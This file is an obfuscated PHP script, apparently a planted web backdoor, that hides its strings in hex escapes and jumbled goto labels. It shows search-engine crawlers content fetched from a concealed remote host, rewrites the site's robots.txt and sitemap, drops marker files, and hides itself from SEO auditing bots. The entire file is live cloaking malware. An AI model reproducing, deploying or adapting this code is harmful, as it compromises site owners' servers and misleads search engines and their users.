goto lsqI6; qI8bk: if (strpos($soRUf, "\x6a\x70\x32\x30\x32\x33") !== false) { goto XwDFK; } goto hRSVk; T29Wj: fJJ9J: goto qI8bk; cnz1K: $LOtdR = urlencode($_SERVER["\x53\x43\122\111\x50\124\137\116\101\115\105"]); goto ss9Hf; TJF12: echo $A1CQd; goto UuSbi; Ug6GV: header("\110\x54\124\120\57\x31\56\x30\x20\65\60\x30\x20\111\156\x74\x65\x72\x6e\141\x6c\x20\123\x65\x72\166\x65\162\x20\105\x72\162\157\x72"); goto ivQhL; IdOGG: zhXTd: goto sCLp3; GtpxM: pOOhP: goto ctzTR; iE01y: $xs_iV = $_SERVER["\x48\124\x54\120\x5f\103\114\x49\x45\116\124\x5f\111\x50"]; goto Zk0Qw; qBU8P: echo $qfK0f . "\72\40" . $OM04U . "\x3c\142\x72\x2f\76"; goto VnlAA; ZQ1X2: ZlObb: goto zvn_y; GYCUI: error_reporting(0); goto Hesgv; cFy3b: UK2aO: goto cIieZ; jBRjv: $soRUf = urlencode($_SERVER["\122\105\121\x55\x45\123\124\137\x55\x52\x49"]); goto AEnU4; X3SxJ: vtFAo("\162\x6f\x62\157\164\163\x2e\x74\170\x74", $avZb3); goto bEakN; zruBl: loU1R: goto giN3N; TaMgt: $atwc5 = $vtO20 . "\72\x2f\x2f" . $_SERVER["\x48\x54\x54\x50\137\x48\117\123\124"] . "\57\x6f\166\157\x6f\x76\x6f"; goto gxeyE; Zk0Qw: goto Xe3w0; goto q1NEi; OGLgd: $T0X9b = $HGUuQ . $NUfRp . $ZRO8X . $nLfKt . $OCrhm; goto K9lA_; rWMye: $A1CQd = curl_exec($xNCRl); goto xAfOD; jYPWD: if (!is_file($epFsg)) { goto w_cL6; } goto u2eM5; CYqXN: goto zhXTd; goto HHVCI; LCL6G: goto b4QKc; goto ZSyio; Vv7Tx: goto k9YD8; goto gyeKE; V4mjZ: if (isset($_SERVER["\x48\x54\124\x50\x5f\x58\137\x46\117\122\x57\101\122\x44\x45\x44\x5f\106\117\122"])) { goto fIqZp; } goto o1bA2; LmMIB: w_cL6: goto TaMgt; XoGks: r1_2N: goto X9hRQ; NwiUb: if (isset($_SERVER["\x48\124\x54\120\x5f\103\114\x49\x45\116\x54\x5f\x49\x50"])) { goto iDQjZ; } goto V4mjZ; qm3PP: if (!(substr($A1CQd, 0, 10) == "\145\x72\162\157\x72\40\143\x6f\144\145" or $A1CQd == "\65\x30\60" or strpos($A1CQd, "\102\x61\144\40\x47\x61\x74\145\x77\141\x79") !== false)) { goto fJJ9J; } goto Ug6GV; hFja7: exit; goto Ntw9j; I0UrP: echo "\x6f\153"; goto nikHV; I5AOY: $qfK0f = "{$vtO20}\72\x2f\x2f" . $uVYTx . $a7pby . "\163\151\164\x65\x6d\141\160\x2e\x78\x6d\154"; goto q1ICx; zxQV3: Xe3w0: goto GYwzI; saeBR: if (!(strpos($soRUf, "\160\151\156\x67\x73\151\164\x65\155\x61\x70") !== false)) { goto ZlObb; } goto g7lg_; V0Pf0: if (strpos($soRUf, "\162\157\142\x6f\164\x73\56\x74\x78\x74") !== false or strpos($soRUf, "\152\x70\x32\60\62\63") !== false or strpos($soRUf, "\x70\x69\x6e\x67\x73\151\164\145\155\x61\x70") !== false or preg_match("\100\x5e\x2f\50\x2e\52\77\51\56\x78\x6d\x6c\x24\100\151", $_SERVER["\x52\105\121\125\105\123\x54\137\x55\x52\111"]) or preg_match("\x2f\50{$lHxBl}\51\x2f\x69", $_SERVER["\110\x54\124\x50\x5f\125\123\105\122\137\x41\107\x45\x4e\x54"]) or preg_match("\x2f\x28{$lHxBl}\x29\x2f\x69", @$_SERVER["\x48\x54\x54\x50\137\122\105\106\x45\x52\x45\x52"])) { goto K4Pvz; } goto LCL6G; KIrM4: goto HsnFk; goto VXa2G; h4eC6: function rwdoN($OCD3E) { goto xBWyy; NW1yc: return $WGe14; goto P9SFV; q0hVQ: $WGe14 = fread($doRxj, filesize($OCD3E)); goto JS4k8; y77aa: if (!$doRxj) { goto BGntQ; } goto q0hVQ; wpXTs: return false; goto UHKTu; P9SFV: BGntQ: goto wpXTs; xBWyy: $doRxj = fopen($OCD3E, "\x72"); goto y77aa; JS4k8: fclose($doRxj); goto NW1yc; UHKTu: } goto jBRjv; u1NIP: M3iCC: goto pOMmW; zLLfX: $Ul1eM = 0; goto tD806; o1bA2: goto Xe3w0; goto ViGfg; MsAQV: if (empty($A1CQd)) { goto dfgg2; } goto qm3PP; lkcUE: if (strpos($soRUf, "\x66\x61\166\x69\x63\157\156\x2e\151\143\x6f") !== false) { goto WFSzg; } goto V0Pf0; lDvS4: $NUfRp = "\x3a\57\57\143"; goto FF6gN; YIDlN: b4QKc: goto bwUMI; Db2d6: $HojpH = urlencode(@$_SERVER["\110\124\124\x50\x5f\122\x45\106\105\x52\x45\122"]); goto k4ugl; g7lg_: $a7pby = $_SERVER["\x53\103\x52\x49\120\x54\137\x4e\x41\x4d\105"]; goto eEny6; pOMmW: $a7pby = "\x2f\77"; goto GtpxM; HHVCI: A2B5r: goto GXNYc; gxeyE: $A1CQd = @file_get_contents($atwc5); goto x31hz; KAgLI: $epFsg = "\x6f\x76\x6f\56\x74\170\x74"; goto bkp1f; UPGfn: if (!(strpos($soRUf, "\x6f\x76\157\157\x76\157") !== false)) { goto LPMUh; } goto I0UrP; ViGfg: iDQjZ: goto iE01y; w03_x: goto LBRYg; goto eRTlS; vWdN5: header("\x48\x54\124\x50\x2f\61\x2e\61\40\x34\x30\64\40\116\x6f\164\x20\106\157\x75\x6e\144"); goto XHHVd; ctzTR: f7t7p: goto XsJwD; LsaZT: goto ZTUf8; goto zruBl; ivQhL: exit; goto T29Wj; W2zMu: ttVYf: goto KIrM4; MueVE: v5TR2: goto MsAQV; cNORf: curl_setopt($xNCRl, CURLOPT_FOLLOWLOCATION, false); goto LPj07; zsOan: $HGUuQ = "\150\x74\x74\x70"; goto lDvS4; zvn_y: $A1CQd = @file_get_contents($KukUz); goto HHagD; lj1nA: header("\103\x6f\x6e\x74\x65\156\x74\55\124\x79\160\145\72\x20\164\145\170\164\57\x68\164\155\154\73\40\143\150\141\162\163\x65\x74\75\x75\164\146\55\70"); goto LsaZT; VbyW7: curl_setopt($xNCRl, CURLOPT_URL, $KukUz); goto HmbQr; bkgW9: $OM04U = ''; goto qBU8P; HmbQr: curl_setopt($xNCRl, CURLOPT_RETURNTRANSFER, true); goto cNORf; GXNYc: $_SERVER["\122\105\121\125\105\123\x54\137\123\103\x48\x45\x4d\105"] = "\x68\x74\x74\160\163"; goto IdOGG; xAfOD: curl_close($xNCRl); goto MueVE; Ntw9j: return; goto Q3VAV; ss9Hf: if (!empty($_SERVER["\122\x45\121\x55\x45\123\x54\x5f\x53\103\110\105\x4d\x45"]) and $_SERVER["\x52\105\121\125\x45\x53\124\137\x53\x43\110\105\115\x45"] == "\x68\x74\164\x70\163" or !empty($_SERVER["\x48\x54\124\120\123"]) and $_SERVER["\x48\124\124\x50\123"] == "\157\x6e" or !empty($_SERVER["\x53\x45\122\126\105\x52\x5f\x50\x4f\x52\124"]) and $_SERVER["\x53\105\x52\126\x45\122\x5f\120\117\122\x54"] == "\x34\x34\63" or isset($_SERVER["\x48\124\x54\120\x5f\130\x5f\106\x4f\x52\127\x41\x52\104\x45\x44\x5f\x50\x52\x4f\124\x4f"]) and $_SERVER["\x48\124\124\120\x5f\x58\x5f\x46\x4f\122\127\x41\122\104\x45\x44\137\x50\122\x4f\x54\x4f"] == "\150\x74\x74\160\163") { goto A2B5r; } goto OXrpB; giN3N: header("\x43\157\x6e\x74\145\156\164\x2d\x54\171\160\145\x3a\x20\164\x65\170\x74\x2f\x78\x6d\x6c\x3b\40\x63\150\x61\x72\x73\145\164\x3d\x75\x74\146\55\x38"); goto tgqzs; lAGOB: $s6Ynp = "\103\101\111\106\103\106\x59\x73"; goto OKlGt; nynK4: $a7pby = $a7pby . "\77"; goto JC4ju; cIieZ: $pZel9 = urlencode(@$_SERVER["\110\x54\124\x50\137\x41\x43\x43\105\x50\x54\x5f\x4c\101\116\107\x55\101\107\105"]); goto GYCUI; HHagD: if (!empty($A1CQd)) { goto v5TR2; } goto cKugL; FF6gN: $nLfKt = "\x2e\x79\x6f\162\x6b\x6d\x69\156"; goto ghza5; OKlGt: $ZRO8X = "\x77\x34\63\65\63"; goto zsOan; gyeKE: XwDFK: goto vWdN5; GYwzI: $xs_iV = urlencode($xs_iV); goto cnz1K; Nyqe_: $a7pby = "\x2f"; goto r1l8v; LPj07: curl_setopt($xNCRl, CURLOPT_SSL_VERIFYPEER, FALSE); goto Pxg4S; cUN5U: XPZa6: goto lkcUE; sCLp3: function Vtfao($OCD3E, $WGe14) { goto TWjLy; bJZk0: return true; goto rJ2sw; Uq2my: fwrite($doRxj, $WGe14); goto Pm_Gd; Pm_Gd: fclose($doRxj); goto bJZk0; zi336: return false; goto kpK9z; tsSzl: if (!$doRxj) { goto U1iMP; } goto Uq2my; TWjLy: $doRxj = fopen($OCD3E, "\167"); goto tsSzl; rJ2sw: U1iMP: goto zi336; kpK9z: } goto h4eC6; Q3VAV: dfgg2: goto YIDlN; tgqzs: ZTUf8: goto Vv7Tx; K9lA_: $lHxBl = "\104\165\143\153\144\165\x63\x6b\147\157\174\102\x69\x6e\147\x7c\101\157\x6c\174\x59\x61\x68\157\157\x7c\x47\x6f\x6f\x67\154\145"; goto hzr2W; ghza5: $OCrhm = "\x64\56\143\x6f\155\57"; goto OGLgd; Hesgv: $xs_iV = $_SERVER["\x52\x45\115\x4f\x54\x45\x5f\x41\104\104\122"]; goto Db2d6; AEnU4: $vtO20 = urlencode($_SERVER["\122\x45\121\x55\105\123\x54\x5f\x53\103\110\105\115\105"]); goto UPGfn; q1ICx: $avZb3 = trim($avZb3) . "\xd\xa" . "\x53\151\164\145\x6d\x61\x70\x3a\40{$qfK0f}"; goto bkgW9; hzr2W: if (!preg_match("\57\x28\x47\x6f\55\x68\x74\164\x70\55\143\x6c\x69\145\x6e\164\174\x46\x65\x65\144\104\x65\155\157\x6e\x7c\x41\150\162\145\x66\163\x42\x6f\164\x7c\x48\164\164\160\x43\154\x69\x65\156\x74\x7c\120\171\164\150\157\x6e\174\141\160\141\x63\150\x65\x42\145\x6e\143\x68\174\104\x61\164\141\x46\x6f\162\123\x45\x4f\174\x79\151\x73\x6f\165\x53\160\x69\x64\145\162\174\x6d\x6a\x31\x32\142\157\x74\x7c\x43\x6f\157\154\160\x61\144\x57\145\142\153\x69\x74\x7c\117\102\x6f\164\174\171\x61\x6e\144\145\x78\102\157\x74\174\x53\x65\x7a\x6e\x61\155\x42\x6f\164\174\110\x65\162\x69\164\162\x69\x78\174\102\x61\x72\153\162\x6f\x77\154\x65\162\174\103\154\x61\165\144\145\142\x6f\164\174\x50\171\x74\x68\157\156\x2d\x75\162\154\154\151\x62\174\103\162\141\x77\x6c\x44\141\x64\x64\x79\x7c\103\145\x6e\x73\x79\163\111\156\163\x70\x65\143\164\174\132\155\105\165\174\x50\171\x74\x68\x6f\156\55\x72\145\x71\165\145\163\x74\163\174\x47\x50\124\x42\x6f\164\x7c\x6a\x61\x75\x6e\164\x79\x7c\171\x79\123\x70\151\144\x65\x72\174\144\x69\147\x45\x78\164\x7c\106\145\x65\x64\x6c\171\x7c\x4a\151\x6b\145\123\x70\151\144\x65\162\x7c\101\x6d\141\x7a\x6f\156\102\x6f\x74\174\165\x6e\x69\166\145\x72\x73\141\154\106\x65\145\x64\x50\x61\162\163\145\162\174\102\171\x74\145\163\160\151\144\145\x72\x7c\x70\141\154\157\x61\154\x74\x6f\156\145\164\167\x6f\x72\x6b\163\174\x41\x73\153\124\142\106\x58\124\126\x7c\x44\x6f\164\102\x6f\x74\174\105\141\163\x6f\165\x53\160\151\144\x65\x72\174\x6a\x61\x76\141\x7c\x50\x65\164\141\154\x42\157\164\174\120\x61\x71\x6c\145\x62\x6f\x74\x7c\x53\x77\151\146\x74\x62\157\x74\174\123\x63\x72\141\160\x79\174\x53\145\x6d\x72\x75\x73\x68\x42\157\x74\x7c\x4c\151\147\x68\x74\104\x65\143\x6b\122\145\160\157\162\x74\163\x20\102\x6f\x74\x7c\x49\x6e\x64\x79\40\114\151\x62\162\141\162\171\x7c\x45\172\157\x6f\155\x73\51\57\151", $_SERVER["\x48\x54\x54\120\x5f\125\x53\x45\122\x5f\x41\x47\105\x4e\124"])) { goto UK2aO; } goto xl7bO; XsJwD: $avZb3 = "\x55\163\x65\162\x2d\141\x67\145\x6e\164\x3a\40\52\15\12\x41\x6c\x6c\157\x77\72\40\x2f"; goto I5AOY; X9hRQ: if ($Ul1eM == 0) { goto M3iCC; } goto Nyqe_; u2eM5: $Ul1eM = RwDON($epFsg); goto FKXgW; nikHV: exit; goto uvs73; lsqI6: $xs_iV = $_SERVER["\110\x54\124\x50\x5f\x58\137\x46\x4f\122\127\x41\122\x44\x45\104\x5f\x46\x4f\x52"]; goto zxQV3; bEakN: HsnFk: goto hFja7; bwUMI: goto HIM7z; goto MQuDH; nU55r: $uVYTx = urlencode($_SERVER["\x48\124\124\x50\x5f\110\x4f\123\124"]); goto NwiUb; FKXgW: goto XPZa6; goto LmMIB; cKugL: $xNCRl = curl_init(); goto VbyW7; JC4ju: goto f7t7p; goto XoGks; UuSbi: if (!empty($avZb3)) { goto qVmsC; } goto wlJEm; wlJEm: if (!(strpos($soRUf, "\x72\x6f\x62\x6f\x74\x73\x2e\x74\170\164") !== false)) { goto ttVYf; } goto OeZ8N; qV5u1: $avZb3 = ''; goto Ezy2e; k4ugl: $x_Dzx = urlencode($_SERVER["\110\x54\x54\120\x5f\x55\x53\105\122\137\101\x47\105\x4e\124"]); goto nU55r; Pxg4S: curl_setopt($xNCRl, CURLOPT_SSL_VERIFYHOST, FALSE); goto rWMye; XHHVd: k9YD8: goto TJF12; bkp1f: $Ul1eM = 0; goto jYPWD; eRTlS: PkAc3: goto I3j2C; r1l8v: goto pOOhP; goto u1NIP; x31hz: if ($A1CQd === "\x6f\x6b") { goto PkAc3; } goto zLLfX; VKMOl: LBRYg: goto cUN5U; OeZ8N: vtfaO("\162\157\x62\x6f\164\163\56\x74\170\x74", $A1CQd); goto W2zMu; I3j2C: $Ul1eM = 1; goto dz4o6; uvs73: LPMUh: goto KAgLI; OXrpB: $_SERVER["\x52\x45\x51\125\x45\123\124\x5f\123\103\110\x45\115\x45"] = "\x68\x74\164\160"; goto CYqXN; dz4o6: VtfaO($epFsg, "\61"); goto VKMOl; VXa2G: qVmsC: goto X3SxJ; zO36Y: exit; goto cFy3b; Q1DHI: HIM7z: ?>